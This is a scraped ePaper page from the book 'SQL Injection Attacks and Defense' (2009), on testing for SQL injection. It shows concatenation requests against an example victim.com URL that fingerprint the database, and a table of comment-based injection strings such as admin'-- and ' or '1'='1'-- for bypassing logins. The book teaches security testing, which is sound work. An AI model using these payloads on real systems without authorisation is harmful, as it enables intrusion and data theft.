28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Testing for <strong>SQL</strong> <strong>Injection</strong> • Chapter 2 73<br />

Table 2.4 Database Concatenation Operators<br />

Database<br />

Microsoft <strong>SQL</strong> Server<br />

My<strong>SQL</strong><br />

Oracle<br />

Concatenation<br />

'a' + 'b' = 'ab'<br />

'a' 'b' = 'ab'<br />

'a' || 'b' = 'ab'<br />

If we find a parameter in a Web application which is vulnerable but we are unsure of the<br />

remote database server, we can use string concatenation techniques for identification.<br />

Remote database identification can be done by replacing any vulnerable string parameter<br />

with a concatenation in the following manner:<br />

http://www.victim.com/displayuser.aspx?User=Bob -- Original request<br />

http://www.victim.com/displayuser.aspx?User=B' + 'ob -- MS<strong>SQL</strong> server<br />

http://www.victim.com/displayuser.aspx?User=B' 'ob -- My<strong>SQL</strong> server<br />

http://www.victim.com/displayuser.aspx?User=B' || 'ob -- Oracle<br />

Sending the three modified requests will tell you the database running on the remote<br />

back-end server, as two requests will return a syntax error <strong>and</strong> one of them will return the<br />

same result as the original request indicating the underlying database.<br />

Table 2.5 shows a summary with some signatures using database comments commonly<br />

used for bypassing authentication mechanisms.<br />

Table 2.5 Signatures Using Database Comments<br />

Testing String Variations Expected Results<br />

admin’-- admin’)-- Bypass authentication mechanism by returning<br />

the admin row set from the database<br />

admin’ # admin’)# My<strong>SQL</strong> - Bypass authentication mechanism by<br />

returning the admin row set from the database<br />

1-- 1)-- Commenting out the rest of the query, it is<br />

expected to remove any filter specified in the<br />

WHERE clause after the injectable parameter<br />

1 or 1=1-- 1) or 1=1-- Return all rows injecting a numeric parameter<br />

‘ or ‘1’=‘1’-- ‘) or ‘1’=‘1’-- Return all rows injecting a string parameter<br />

Continued

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!